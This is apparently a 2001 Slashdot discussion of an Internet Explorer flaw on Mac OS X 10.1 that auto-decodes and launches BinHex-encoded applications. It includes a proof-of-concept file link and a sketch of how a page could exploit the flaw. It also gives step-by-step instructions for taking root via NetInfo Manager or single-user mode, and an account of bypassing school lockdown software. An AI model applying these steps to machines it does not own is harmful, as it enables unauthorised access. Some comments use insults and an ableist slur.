      That's kinda silly. On a Mac, Internet Explorer is a choice. It happens to be the default, but switching to another browser is trivially simple. Trashing IE doesn't break half the OS and several other apps, like it would on Windows. Personally, IE is my choice on Mac OS 9 (with consideration given to Netscape, Mozilla, iCab, Opera, or heck, even Lynx. On Mac OS X, I choose OmniWeb over that list, but still rely on IE for sites that OmniWeb can't yet render. In fact, I still rely on Netscape for sites that IE can't render correctly. The point is, yeah, there are a lot of choices, and I've made mine. IE is faster and/or more reliable than the other options.

      --
      $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
      $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
  104. it's a MS problem no matter what by ClosedSource · · Score: 1

    Funny. When third-party programs cause problems in Windows it's the OS's fault not the third-party vendor. But when MS is the third-party, it's not the OS's fault but MS's. Bottom line - it's MS's fault no matter what.

    My only question is: If a non-MS application causes a problem on a non-MS OS, is anyone at fault?

    1. Re:it's a MS problem no matter what by jrockway · · Score: 1

      Yes, because the security hole is in MS Internet Explorer. There is nothing in the OS that would affect this.

      --
      My other car is first.
  105. *whew* by macsox · · Score: 1

    as a mac fan, i'm very glad the icon next to the title is mr. gates, not the apple.

    last thing apple needs on slashdot is bad pr.

  106. Re:Not M$ by Anonymous Coward · · Score: 0


    > Not MAC, short for Media Access Control address, as in your NIC card.

    And I suppose you called it the DOS Operating System, and the GUI interface? You stupid redundant bastard, it's "NIC", not "NIC card". You could say NI card (thus winning a Monty Python Point), but you're too retarded.

  107. Solution by KFury · · Score: 5, Funny
    1. Create script to toggle 'autoexec .hqx downloads' to FALSE
    2. Insert the file into the X-10 popup banner
    Problem solved.
    1. Re:Solution by yesthatguy · · Score: 1

      That would be hilarious. Even if it weren't in X-10 pop-up banners, but just some site at microsoft where they used the exploit to patch the exploit...genius.

      --
      Yes! That guy!
    2. Re:Solution by barzok · · Score: 1

      And yet when people propose doing the same with CodeRed and the like (detect an attack, then use the same tactics to "infect" the attacking system with the patch), it's considered bad?

    3. Re:Solution by yesthatguy · · Score: 1

      Hmm...sorry if it passed you by, but I mentioned "That would be hilarious" at the beginning of the sentence, saying it would be funny. This is if it were done by MS, and them using the exploit, rather than downloading and installing a patch through normal update mechanisms. (Though, in fact, it may be automatically installed anyway if their normal update patches for macintosh are .hqx's)

      --
      Yes! That guy!
  108. Re:total utter bullshit by Anonymous Coward · · Score: 0

    my understanding is that it is running the resulting binary. had you read the macintouch page you'd find this;

    > "Every .hqx encoded classic application is decoded by Explorer itself (that's the
    > default, Stuffit Expander isn't used) and then AUTOMATICALLY STARTED!

    the important bit being automatically started and that's AFTER it has been decoded.

    so we do have a problem.

  109. Necessary security by Anonymous Coward · · Score: 0
    "The protection offered by an administrator account is minimal."

    Not correct.

    The root account is necessary to keep your binaries from being altered by a malicious third party in ways that could cause damage to another person's computer system.

    As a computer owner / user, you have a moral responsibility to keep your system under control.

  110. Re:Well, yeah by Anonymous Coward · · Score: 0

    Apple's stock is in the tank. Fire on all sides. Preliminary indications are that Apple users are not particularly interested in the complexity and sluggishness of Apple's latest operating system. Processor speed is stuck at 500 MHz. Alternative architectures and software are killing Apple on features, price, and performance. There are legions of corporations and individuals who have been disrespected by Apple--from the BeOS community to the Apple clone industry, all of whom comprise a formidable enemies list. The main provider of Apple's microprocessor, Motorola, is hurting and hopes to leave the desktop processor business. This week Motorola announced 2500 layoffs. The hype has warn thin. Everyone does GUI and mice nowadays. Apple is left marketing decor. The most reasonable solution would be for Apple to open up. Open up its hardware specs and software so that where now exists little more than a corporate cult, there might exist a vibrant autonomous industry of developers, hackers, and hardware vendors.

  111. Not Stuffit's Fault by Brownian+Motion · · Score: 5, Informative

    It is not Stuffit. It's Internet Explorer de-binhexing and executing the coded app all on it's own. Since you mention Stuffit, I'm not sure you understand what is going on as Stuffit does not have this behavior (nor is it involved).

    It's not a feature of OS X (or the OS's fault in any way). I never noticed the beta-IE (used in OS 10.0[0-4] doing this, and I used it throughout. I rarely booted into OS 9 when OS X came out, and I used the beta fairly extensively as well.

    IE is auto-decoding a binhex, then if it's an application, automatically executing it. No other version of IE does this. No other mac internet app does either. Others will auto-decode files for you, but leave it to you to launch them.

    Sure, you can turn off the binhex pref, but without the added "feature" it is not a security risk to simply de-binhex a file (probably less dangerous than uu-decoding). Even a savvy user who perused every setting wouldn't know to uncheck "automatically decode binhex" to turn off a feature that's so stupid one wonders why someone would bother coding it (automatically running dl'd apps).

    Now Stuffit has it's own security risk. By default, it will auto-mount any disk image it decodes. A disk image can be set to automatically launch an app when loaded. Hence, Stuffit can be made to do what IE is doing in a roundabout way. Personally, I think this "feature" should be turned off for disk images as well.

    I use the slowest G4, and I've not noticed Stuffit being a hog, though it is annoying. It ripped through the 189 MB dev tool installer in a few seconds.

    IE has other problems as well. It will reset my Internet prefs (usually just the dl folder, but sometimes it will set itself as the default web app). Just use Omniweb, and you get a nice spell checker to spell check your posts (I know I need it).

  112. It's not possible. by Anonymous Coward · · Score: 0

    HQX files are like UUCode. They're not executable. They generally contained archived data in the form of a stuffit archive. Which, oddly enough, is also not exectuable (unless it's a SEA, but let's stick to the most likely scenario). In any event, there is NO WAY for a HQX archive to be expanded, decompressed and then have the contents be launched.

    Out of the box, this is wholly impossible. I don't care what MacInTouch are saying. Sure, you could write an applescript which would watch for newly decompressed archives and and launch the contents, but you'd need direct access to a user's machine to install it and launch it.

    Sorry, I'm not taking the bait on this load of felgercarb.

    1. Re:It's not possible. by Anonymous Coward · · Score: 0

      BinHex (HQX) is a textual encoding of any HPFS file, complete with data and resource forks including type and creator. There's no special relationship between BinHex and StuffIt or any other compressor. An application (type APPL) encoded this way will be reconstituted as... an application, ready to run.

    2. Re:It's not possible. by Anonymous Coward · · Score: 0

      Wow, I got HFS+ and HPFS mixed up. At least I haven't had to use either for a long time.

  113. Re:Intrinsic Security in OS X - STEP BY STEP by benmartz · · Score: 1

    In reply to both sakusha and Millenium...

    I actually forgot to include the most critical step. Here is a complete set of steps that you can verify on your installations.

    1. Walk up to a Mac OS X box that has a default install and is therefore already logged in as an administrative user.

    2. Open System Preferences...

    3. Open the Users control panel.

    4. Add a new user and select "Allow user to administer this computer" under the Password tab. Wow...you don't have to authenticate to do this!

    5. Log out and log back in as the user you just created.

    6. Open NetInfo Manager.

    7. Click on the lock button at the bottom of the window and authenticate using the login/password you just created.

    8. Choose Enable Root User from the Security submenu in the Domain menu.

    8. Navigate to "/" -> "users" -> "" and copy the contents of the "passwd" property.

    9. Navigate to "/" -> "users" -> "root" and paste into the "passwd" property.

    10. Quit and save your changes.

    Amazing...you now have complete ROOT ACCESS to the machine!

    P.S. Please try to keep your responses constructive guys...

  114. Seemingly true by Anonymous Coward · · Score: 0

    wow, thought I would chime in that indeed it does seem to not just expand the file but then launch it as well. kind of creepy, my Mac has always been my happy and safe place on the internet. guess that means I stay away from MS, I normally do that anyway.

  115. Re:Not M$ by Anonymous Coward · · Score: 0

    No. It's developed by a group of people who have been selected for their inaptitude to program. That's M$'s strategy to tell the world that they support other platforms than Windows.

    Imagine if you were Balmer, how much you would be willing to pay for a software team that develops a free product on a foreign OS. For that price you get what you pay for.

  116. Not really a hole by vulgarDPS · · Score: 0

    This is only an option in IE, you can turn it off easily. I'm running os 10.1 right now and I emmediatly turned that off. As default it opens them but it did this in the old versions of IE for mac too so it's not reallly that bigga deal.

    1. Re:Not really a hole by J'raxis · · Score: 0, Redundant

      Yes, and IIS is an option in Windows 2000 that can be easily turned off.

      /ME checks his Apache logs.

      Looks like most people are not aware of that either.

  117. Re:Not M$ by ehintz · · Score: 1

    And I suppose you called it the DOS Operating System, and the GUI interface? You stupid redundant bastard, it's "NIC", not "NIC card". You could say NI card (thus winning a Monty Python Point), but you're too retarded.

    Fair enough. I'm rather embarrassed to admit I missed the Python point, painfully obvious in hindsight. But it's a fair cop. ;-) Although there comes a certain time where it becomes pointless to fight the popular trend. NIC card, GUI interface, Cable/DSL Modem... All wrong. Sadly, our language has a long standing tradition of words whose original meaning is popularized into something entirely different. Dare I even bring up hacker/cracker? That should be good for a flame war or two... ;-)

    --
    ehintz
  118. New slogan by Lumpy · · Score: 2, Funny

    I'm gonna be maked at -5 flamebait for this...

    Microsoft, Helping people root boxes cince 1983 and now with cross platform capabilities built specifically for Macintosh OS 10!

    --
    Do not look at laser with remaining good eye.
  119. not just IE..tis a mac thing by fjordboy · · Score: 3, Offtopic

    Interesting note: When I use the macs at my high school (G4's), IE never seems to work for them, so I always use Netscape. However, I also like to check my email using the macs, and there is no telnet application on these macs, and I can't install NCSA telnet on them because everything on the computer is locked. However, I found a way around it. When I download the hqx version of NCSA, it autoinstalls, bypassing "foolproof" security. I still can't use the telnet app unless I call it up through netscape using telnet: . I just thought this was interesting...because it isn't just IE that does it...it is the stupid hqx and stuffit expander things. I would definitely disable those options. (If I could...but the security features don't let me change anything!)

    1. Re:not just IE..tis a mac thing by Tokerat · · Score: 1
      Read my post above. It is not a Mac thing. In your case, it was because the browsers where alowed unrestricted access to the files on the computer even tho anything the user directly does (such as standard file dialogs and finder navagation) was blocked. This was done to prevent "breaking" programs that depend on such silly things as access to wherever they decide to store their shit. Web brosers allowed user control over the filesystem beyond the OS's reach, i.e. it wasn't the OS listing the files to the user, it was listing to the program which in turn listed to the user. telnet:// worked because Netscape defaults to NSCA's creator type when looking for an APPL to launch for telnet (check it, it's in the Helper Apps section, the MIME is mapped to NCSA specifically), it probably wouldn't work with a different client, and since that was also an App-based request for launch and not user-based, it was allowed by the OS.

      What the hell security does your school run that allows that these days? Please tell me it isn't MacOS 9's fugly-as-hell-At-Ease-wannabe Panels, i'd hate to think the OS itself was that slacked on...

      --
      CAn'T CompreHend SARcaSm?
    2. Re:not just IE..tis a mac thing by willmc · · Score: 1

      Er, I think you misunderstood what happened on those G4s, because Netscape for Mac (or for any other OS, as far as I know) has never had that behavior. If you used Netscape to download NCSA Telnet, the most it can do is have StuffIt Expander decode the binhex or macbinary file. StuffIt Expander, in turn, will not and can not launch a program it decodes. Now, as for having to call telnet from Netscape, all that means is that Netscape knew where NCSA Telnet was on your hard drive. So, when you use Netscape to open the location telnet:foo.com or whatever (I forget the exact syntax), it opens it and tells it to connect to whatever host you told Netscape to connect to. This problem is not caused by MacOS, StuffIt Expander, or anything other than IE 5.1.

    3. Re:not just IE..tis a mac thing by Anonymous Coward · · Score: 0

      It is NOT a "Mac Thing".

      The behavior you describe is no more a security hole than being able to download an executable as a bit stream in other OS's. While you were able to download Telnet and decompress the application (thus "installing" a default helper app for Netscape), it didn't automatically launch. You said yourself that you had to call it up through a URL.

      The issue here is that IE in 10.1 is automatically launching the executable, not just decompressing the archives. IE's default behavior in 10.1 is a HUGE security hole, but your example is NOT.

      As others here have stated, you can disable this "feature" by changing the download options in IE's preferences (it will then go back to using Expander to decode the archives rather than doing it itself), but this should have never been the default behavior. Thanks MS!

    4. Re:not just IE..tis a mac thing by Anonymous Coward · · Score: 0

      Any security solution that you install onto single user MacOS is going to be a shell hack of dubious real value. That includes OS 9's built-in user security. There's no kernel-level enforcement, and therefore there will be ways that it can be bypassed.

      As a data point, the Netscape telnet:// trick also works on "locked-down" Windows 9x boxes too.

    5. Re:not just IE..tis a mac thing by fjordboy · · Score: 1

      its called "fool proof" security.

    6. Re:not just IE..tis a mac thing by fjordboy · · Score: 1

      herm...ok. I think I misread the article. It is true, the program is not automatically executed, but it is automatically installed. WHat happens is if I call up telnet through netscape without already downloading it, it doesn't work. However, if i go to nsca's site and download it, it downloads (which shouldn't work with the security the school has....they don't allow downloads of files over 1 meg on the macs), and it installs (which also shouldn't work because the security doesn't allow the installation of any programs, nor does it allow saving of downloads) After I download it, I can call it up through netscape. It isn't exactly the same thing...but it still bothers me that I can download something and it autoinstalls w/o any user intervention (at least with shockwave I have to click OK) also...there is no way i was offtopic...it might be slightly skewed info...but not offtopic. lay off the crack.

    7. Re:not just IE..tis a mac thing by leejor · · Score: 1

      Most applications on Mac's do not require an installer. Usually, you just uncompress the archive, and drag the program to where you want it on your drive. The same is true of many commercial apps on CD. Mount the CD, and drag the program files to your hard drive. Only the Big applications and system utilities that add system extensions typically require installers. Even Microsoft's Mac programs are Drag-and-Drop to install.

      (Although MS programs like Office require system extensions, the main application program such as Word will automatically check to see if these extensions are in place and if not it will install them on the fly. Even if the user deletes critical Office components, the application will repair itself.)

      Lee Joramo

  120. Re:total utter bullshit by Anonymous Coward · · Score: 0

    I read the article, I run X.1 IE 5.1 default install, and as mentioned so kindly before sir, the compressed archives are EXTRACTED automatically (with the appropriate prefs checked), but nothing is executed. Damn! I've never in my whole life, seen such a bunch of misinformed whiny lUSERS!

  121. Re:Tried it. Does nothing by benh57 · · Score: 1

    IE definitely auto launches it on my 10.1 system. 5G64, Dual 800 G4. -Ben

  122. Re:Well! by Telek · · Score: 2

    1. video drivers in the kernel

    And if they weren't then you'd be yelling about how the video performace is so slow.

    What's the bloody deal? If you install a crappy video driver even if it's not in the kernel is has hardware access which means that it can toast the system. So don't install crappy video drivers.

    NT4 is no longer a microsoft product

    you have an interesting interpretation of "discontinued". It does NOT mean that it's no longer a MS product, it just means that they're not supporting it anymore (which makes sense).

    --

    If God gave us curiosity
  123. Re:Intrinsic Security - STEP BY STEP by Anonymous Coward · · Score: 0

    1. walk up to a PC box 2. Open case... 3. Drag screwdriver across IC legs 4. Unplug and remove HD 5. Close case Amazing... you've totally destroyed the machine, and have all local data in your hand, which you may recover at your leisure!

  124. Re:total utter bullshit by benh57 · · Score: 1, Insightful

    And that is exactly what it does, mr Fucking Idiot. It dehqxes it, then runs it. http://www.pardeike.net/danger.hqx Decompresses - then launches on my 10.1 Mac. Note that in order to reproduce this, you MUST binhex an APPL, without stuffing it also.

  125. Apple directly competes with MS... by SiMac · · Score: 2, Informative

    Apple does work on non-MS office suites! AppleWorks! It's non-MS and it's actually a very good product...one of the first OSX native applications. I ran it all the way back on the public beta...Also, Apple worked on Mail, which competes with OE.

  126. Execution by garoush · · Score: 2, Funny

    "...it automatically executes them."

    Now if an "executed" program is STILL a security risk -- I don't know how we can ever be secure.

    --

    Karma stuck at 50? Add 2-5 inches.. err.. 2-5x Karmas Count to your pen1es.. err.. Karma all naturally and private
  127. Re:Stupid Apple by Anonymous Coward · · Score: 0

    it's called "sarchasm" perhaps it hasn't got out to where you live yet. but it is really big back east.

  128. Confirmed problem does exist by pbaker · · Score: 0, Redundant

    We tried this on my friends G3 Pismo with MacOS X 10.1 and MacOS 9.2.1 installed. Clicking on the danger link from the site, IE downloaded the file. It then was automatically extracted. Classic then started up and tried to run the program. This locked up Classic but we were able to force quit the danger app and shutdown Classic.

    This was with a default install of Internet Explorer on 10.1. NO PREFERENCES were changed.

    This is very scary indeed!!

  129. Re:Tried it. Does nothing by sugarbomb · · Score: 2, Informative

    launched automatically for me, but only when Classic was running ... sounds like Classic MacOS is the weak link

  130. Simple fix for the problem by DragonPup · · Score: 2, Redundant

    Under IE5.1 Final for OS X, go into it's preferences. Under the Recieving Files catagory, choose Download Options. There's 2 checked items by default. 'Automatically decode BinHex' and 'Automatically decode MacBinary'. Uncheck them both and hit ok. IE will now send those files over to Stuffit Expander, like it should. Easy, isn't it?

    -Henry

    --
    "Useless organic meatbag" -HK-47
    1. Re:Simple fix for the problem by Anonymous Coward · · Score: 0

      What are you even talking about? This isn't just easy to "fix", it has also been a feature of Mac IE for years.
      Do you think there are a lot of people out there who plan to download compressed files and never expand them? This is not a security hole, stupid! It is merely a convenience.

  131. Durable backup by xixax · · Score: 2

    User files should not be a problem. The same files would also be toast if the hard drive died. If people are not backing up to a durable medium (hey, they all ship with CD burners don't they?), they don't really care about their data.

    I'd like to see a virus capble of erasing CD-Rs kept in a locked filing cabinet.

    Xix.

    --
    "Everything is adjustable, provided you have the right tools"
  132. Step back and smell the irony by 1stmammaltowearpants · · Score: 3, Funny

    We're talking about a Microsoft product running in Unix that came pre-installed with the Mac OS.

    These are strange times, my friends.

  133. this doesn't happen for me by Anonymous Coward · · Score: 0

    running 10.1 on a G4/dual. compressed files are expanded into a folder. that's all - nothing is executed.

    knowing OS X and reading the large amount of garbage responses bothers me about other /. articles.

    this should be UPDATED to "never mind :-)"

  134. Mac savvy users... by AmigaAvenger · · Score: 0, Flamebait

    Yes, but I'm sure those 10 people already did turn it off, what about the rest of the Mac users?

  135. Re:Didn't make the Top 20 by 1stmammaltowearpants · · Score: 0, Offtopic

    sounds like a troll has case envy.

  136. and extra ok click by MrPants+tm · · Score: 1

    "Oh this won't hurt anyone, and saving that extra 'OK' click will be great!".

    joe user might not know what .hqx is or does. is it safe or is it malicious code? well malicious coders aren't going to name the hqx files "thiswillhurtyoucomputer.hqx". secondly the people who would be surfing sites where this is a danger would be kids who don't nor won't take the time to investigate if a warning is presented.

    as stated in another post disabling this is really the only approach but that limits honest deployments of .hqx files. sigh. can't we all just get along!!!

  137. Same old, Same old... (just a different platform) by Jucius+Maximus · · Score: 1

    Huge security hole in Internet Explorer...

    Score: (Score:-1, Redundant)

  138. Re:Intrinsic Security in OS X - STEP BY STEP by Anonymous Coward · · Score: 0

    the same with any other computer...
    physical access to the actual computer means its game over with regards to security if someone really wants to break in.

  139. Uhh.. by Anonymous Coward · · Score: 0

    It's sort of sketchy, and yet it makes the front page? Let's say that a report came out that Mozilla might possibly have a security hole that made MacOS 10.1 vulnerable to some sort of attack, be it through Javascripting or some other method. If the details were as "sketchy," would the story still have made the front page?

  140. Re:Tried it. Does nothing by Anonymous Coward · · Score: 0

    Its IE causing the problem, not Stuffit or MacOS. IE uses stuffit to unstuff .sit file. What is at issue here is .hqx files... usually handled by stuffit expander.. but now decoded by IE and started.

    Is MS looking to replace Stuffit eventually?

  141. Debian Instead by Anonymous Coward · · Score: 0

    Or *BSD, or any other thing except Red Hat.

  142. All users will eventually run the executable by acomj · · Score: 2

    I think the autoexecution is a dumb idea...

    but seriously, your downloading an execuable, its being decompressed.
    You can run it now, or run it later when you launch it....

    Some Mac users don't diferentiate executables and documents. They often double click on executables and documents. The mac stores file type and application to run with documents (at least up to 9.x) so it knows which application to run. Many mac users use documents to launch their programs (a more doc-u-centric approach)

    The danger here is people may think they are downloading a data file, when its an executable. most people don't check. The pc sircam virus uses this technique to trick users into launching it, so its not a unique "mac" problem.

    Watch what you download..!

    On the plus side the Unixy features of OSX should prevent it from hosing your system, you just have to worry about your documents...

    1. Re:All users will eventually run the executable by cpt+kangarooski · · Score: 1
      On the plus side the Unixy features of OSX should prevent it from hosing your system, you just have to worry about your documents....


      Sounds like a major bug in Unix, to me. It's things like this, that are just assumed to be the way that things are, that really get under my skin. There are, I understand, alternative security models (I'm mostly thinking of capabilities, here) that would eliminate this security hole. But God forbid that Apple actually innovate anymore -- no, it's the NeXT way or the highway.

      --
      -- This and all my posts are in the public domain. I am a lawyer. I am not your lawyer, and this is not legal advice.
    2. Re:All users will eventually run the executable by RoninM · · Score: 2
      Sounds like a major bug in Unix, to me.

      ...that you can't hose the system, but can hose your own files? I'll admit that users are dumb and capabilities could help, but they're not a panacea. Users do dumb things. A user doing something stupid can invalidate any security model. With capabilities, the problem is that there's a trade-off between security and functionality. If you give executables the read capability, you can still have something like SirCam. If you give it TCP caps, your machine can be used as a node in a DDoS or attempt to trojan other computers. If you give them write caps, you're back to where you were before: all of your data is insecure. If you give it execute caps, it can run another program that does something bad, anyway. So your default caps for securely running executables are no read, no write, no execute, and no Internet connectivity. So in order to do pretty much _anything_ with the program you downloaded, you need to change its caps.

      At this point, what's the difference between simply not downloading and running something you don't trust?

      --
      If a corporation is a personhood, is owning stock slavery?
    3. Re:All users will eventually run the executable by stux · · Score: 1

      I'll try to explain why its a really really dumb idea :)

      If IE just auto decoded binhex files (like every other internet app on the mac)

      Then there would be no point in making a small 4KB app which can be downloaded and executed in the background...

      If IE would debinhex, then execute those files, then you can setup webpages to automatically download such a file when an IE/OSX.1 user comes along, most users won't even notice a 4KB binary download, after all the graphics are bigger than that.

      And as soon as it downloads... it executes... if classic is running, it'll execute in a 10th of as second, it can even be made into a daemon app, so you won't even know its running,

      it can then copy itself to the startup items...

      instant perma exploit, by simply adding a java script to some website waiting for any OSX.1 IE user to come by.

      AND this isn't a theoretical problem, this has shipped in Apple's 10.1 release of OSX, where the default webbrowser causes it.

      This is a serious threat, if only because its soooooo easy to exploit.

      And it was nothing else except microsoft's stupidity which caused it.

      --

      ---
      Live Long & Prosper \\//_
      CYA STUX =`B^) 'da Captain,
      Jedi & Last *-fytr
    4. Re:All users will eventually run the executable by cpt+kangarooski · · Score: 2

      True -- a user can often work around any security, particularly around the lax amount that is preferred for otherwise optimal working conditions.

      But -- It seems fairly unusual that you would need to give any given downloaded executable access to everything across the board. What does Photoshop need with rwx to my mail? Why would I give a calculator program access to the network? I'm simply saying that there should be more granularity. Without the user at the console manually doing it, most programs do not need access to certain reserved files (e.g. for programs not already explicitly trusted by the admin, it's probably safe to forbid writes to .cshrc) or to files of a different type than they create or work with (e.g. textfiles to a graphics editor).

      Will this stop all malicious software? No, of course not. But it will further tighten the noose, and provide resources for a user or admin who wants to cut off the air supply to some of that such software. It also at least helps to constrain the amount of damage that parasitic malware can do -- if Outlook were restricted to write access to its own mail files, network connectivity, and the ability to read files that the user at the console had attached, it can screw with your mail, but at least it's not going to wipe out your textfiles.

      I'm really not trolling here; it seems to me that once you get through the single layer of security protecting the user, as so many things do, you're giving who knows what the keys to the castle. Further compartmentalization, at least the possibility of it if the user desires it, seems reasonable.

      --
      -- This and all my posts are in the public domain. I am a lawyer. I am not your lawyer, and this is not legal advice.
    5. Re:All users will eventually run the executable by Anonymous Coward · · Score: 0

      Re: "All users will eventually run the executable"

      That's not true... in fact, some moron at Microsoft probably justified this feature by making the same ignorant statement.

      By using the meta refresh tag, the owner of any Web page can force the user's Web browser to download any file. All he has to do is use the meta refresh tag to redirect the browser to the URL of the malicious file. Viruses really are spread that way.

      My firewall (at home) reports access attempts from at least 100 different IP addresses a day, so I decided to check these guys out and find out who's trying to get into my computer. Typing one of those IP addresses into my browser usually brings up a blank or profane Web page that automatically begins downloading a .EXE file to my computer. A look at the source of the page confirms that they're using the meta refresh to do this.

      Since I know I didn't download these files, I delete them. But if someone HQXed a virus and IE automatically downloaded and executed it, I'd be screwed. It would be just as dangerous as running MS Outlook... (which is like playing Russian Roulette with five bullets in the chamber)

    6. Re:All users will eventually run the executable by emurphy94108 · · Score: 1

      I might be wrong here, but I believe you need at least administrative privileges (which under OS X are NOT the same as root privilges) to write to the "Startup Items" folder. A user can use the login preference panel to set programs to launch automatically on LOGIN (and therefore necessarily run as user, not root, processes), but that's different from putting executables in the "Startup Items" folder.

      Two things to keep in mind 1) Administrative privileges are NOT the same as root privileges; and 2) the root account is disabled by default under OS X (and it's not that easy for a naive user to figure out how to enable it).

      I think if you do not normally log in as a user with administrative privileges, you minimize security issues. You put up with a certain amount of inconvenience (no write privileges to the /Applications folder, for example), but it's not even possible to sudo from a non-administrative account.

      --
      "The Artist, seeking Beauty, discovers Truth; The Scientist, seeking Truth, discovers Beauty."
  143. The problem and the fix by Tokerat · · Score: 1

    This feature has been in IE for mac for some time, the auto-decompression of .hqx and .bin files (.bin in this case is MacBinary format, an alternative (Apple produced?) to BinHex) and then launching Stuffit expander to decompress the rest of the way. Since Stuffit files are archives and not just individual compressed files (like a tarball or a winzip file), Mac downloads are most commonly archived and compressed ("stuffed") with Stuffit first, then encoded (possibly also with Stuffit but there are other utilities) into MacBinary or BinHex, for that little extra bit of compression, and to preserve the resource forks of .sit files.

    The Problem

    The problem results from IE not checking what it's launching. It assumes that anything that comes in a .bin or .hqx file must also be compressed in some other format, most commonly .sit, and so it saves the file, and sends an Apple Event (most definitely the Open event) to the FINDER . Why the Finder? The Finder is the UI front to the MacOS, much like the "explorer" process in Windoze. It does things like allowing the user to click files, folders, hard disks, ect. amongst other general OS control tasks. By saving this file and telling the Finder to open it, the IE programmers have saved themselves the effort of figuring out how to find and launch the Stuffit application themselves, and why should they? After all, it might not be a stuffit document. Obviously, though, no check is performed on the file type at all, thus blindly passing the fresh download to the Finder. And since the Finder interprets an Apple Event on an Application file as a launch request, it does just that. And so a massive security hole is born.

    The Fix

    How about checking the file type before sending that Apple event? It's one simple if statement, or at worst case a loop with an if that checks against an array of "banished" launch types (or even other criteria, I'm not sure how OS X handles the new "package" style Apps). A lil required reading for you boys over at MS's Mac dept:
    Inside Macintosh: Files

    P.S. The file type code for Applications on MacOS is "APPL", that might come in handy too.

    --
    CAn'T CompreHend SARcaSm?
  144. But why the HELL... by Ungrounded+Lightning · · Score: 1, Redundant

    You can turn off the automatic decoding of bin.hex files ...

    But why the HELL was it on by DEFAULT?

    Oh, right.

    It's a Microsoft program.

    Never mind.

    (The fact that it's for use on a non-Microsoft platform, and thus could make that platform vulnerable to malicious cracking, probably wasn't even a factor.)

    --
    Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
    1. Re:But why the HELL... by IronChef · · Score: 2


      It's not the decoding of binhex files that's a problem. The Mac has been automagically uncompressing downloads for a long time, but the automatic launching of a new executable is a lovely new Microsoftism.

    2. Re:But why the HELL... by BlowCat · · Score: 2
      It's ON by default because it's convenient for users to decode hex files automatically. By the way, Pine (UNIX mailer) decodes MIME attachments by default and it doesn't make it less secure.

      There is nothing wrong in decoding files by default. The problem is with running them without asking the user. That's a Microsoft specialty, also seen in Outlook.

    3. Re:But why the HELL... by Ungrounded+Lightning · · Score: 2

      It's not the decoding of binhex files that's a problem. The Mac has been automagically uncompressing downloads for a long time, but the automatic launching of a new executable is a lovely new Microsoftism.

      Sorry. What I meant was "why the HELL was the launching of the binaries turned on by default?".

      I didn't read the post closely enough to realize that the workaround wasn't to turn off the autolaunch but to turn off a step, innoctuous in itself, that was a precursor to the launch.

      This implies that there isn't an easy way to turn off the launch. Even worse...

      --
      Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
    4. Re:But why the HELL... by Stephen+Samuel · · Score: 2
      Perhaps Microsoft wanted to prove that even if you're on a *NIX box, you can still get goatsexed by having a Microsoft product installed.

      I wonder what someone's rationale would be for that:"Oh this won't hurt anyone, and saving that extra 'OK' click will be great!".

      This is a Microsoft product, and a security issue. What does rationale have to do with it?

      --
      Free Software: Like love, it grows best when given away.
  145. Gotta love /. by xmutex · · Score: 1

    "Can anyone actually confirm this since it looks kinda sketchy."

    Real professional, guys. "Well, we heard about this bad thing that involves Microsoft, so we're posting it. We're not sure it's true, hell, we read about it on young Tim Walrus's website; he's a seven yeard elementary shooler in Omaha. Apparent, IE 6 will kill your parents in their sleep."

    Stupid.

    --

    jack's bicycle is music to my ears
  146. true by daevt · · Score: 1

    yeah, thats how it works, very convinient. never really thought about it from a security stand-point.

  147. two points to be made by crayz · · Score: 2

    First let me say this is totally unacceptable. However:
    1) The app only starts automatically if you just click on the link. If you option-click(what I usually do when I want to download a file). It doesn't autostart it. When you option-click you are basically telling the browser "save this file to my HD", when you just normally click, you are saying "show me this file"(so like a PDF will download to the HD and then be opened). Still obviously it should not automatically open apps.
    2) This is only for Classic apps. The reason this is good is that I usually don't have Classic open(because it sucks). So when I click this, it automatically starts opening Classic(which takes 30-45 seconds). If during that time I just click to stop opening Classic, the program never runs.

  148. Re:Intrinsic Security in OS X - STEP BY STEP by iso · · Score: 1

    Even easier: reboot and hold down CMD-S (Option-S on some versions of OS X) and look! You're in single-user mode with root access!

    But this is all moot anyhow: if you have physical access to the machine of just about ANY operating system (Linux included), you have full access to everything. Just the other day I booted an NT laptop with a Linux disk that can read NTFS so I could re-set the (forgotten) administrator password.

    Big deal. Physical access == root.

    - j

  149. Security hole in IE! by loconet · · Score: 1

    "Huge security hole in Internet Explorer..."

    (Score:-1, Redundant)

    --
    [alk]
  150. IE users get what they deserve by Anonymous Coward · · Score: 0

    IE users get what they deserve. Why didn't you just buy a windows box. Freakin' morons.

    Don't just bitch about Microsoft, cease using their products.

  151. Re:CyberTerrorism by alfredo · · Score: 1

    How could they have done something so obvious by mistake?

    --
    photosMy Photostream
  152. Re:Not M$ by Anonymous Coward · · Score: 0

    Your "facts" are unfortunately not borne out by the various eyewitness accounts that have been published. Microsoft only act like the Borg. Their internal structure is highly inefficient. And if it was as you suggest, their security would be better, not worse. This is just an anti-Microsoft rant with no basis in fact. Ironic that you misattribute organizational skills to them as you do it.

  153. Re:Not M$ by Anonymous Coward · · Score: 0

    Also, the word "Mac", when emphasized using caps, is typed "MAC". This was clearly the poster's original intent, assuming he's not an idiot. But you assumed he was an idiot, while missing the obvious yourself. Ironic.

  154. glaring example = HFS by Anonymous Coward · · Score: 0

    In particular, resource forks.

    Doesn't play nice with any OS apart from Mac OS.

  155. Re:Not M$ by MaxVlast · · Score: 1

    Uh, that a subunit of Microsoft does something does not mean that Microsoft has not done the thing.

    --
    There should be a moratorium on the use of the apostrophe.
    Max V.
    NeXTMail/MIME Mail welcome
  156. why not mozilla?? by BigBir3d · · Score: 1, Informative

    www.mozilla.org is the way to go. 0.9.4 absolutley screams compared to some of the older builds, and the mail client works too :)

  157. Other Security Holes Found In 10.1 by MacSlash · · Score: 1
    There's an article on MacSlash (here), that talks about the IE auto-execution "feature" and another security risk dealing with Apple's implementation of WebDAV for iDisk. It apparently sends the password for the account in an unsecure manner.

    --
    MacSlash
    Your Daily Dose of Mac News and Information

    --

    --
    MacSlash: Your Daily Dose of Mac News and Discussion.

  158. Re:Not M$ by i_like_ham · · Score: 1

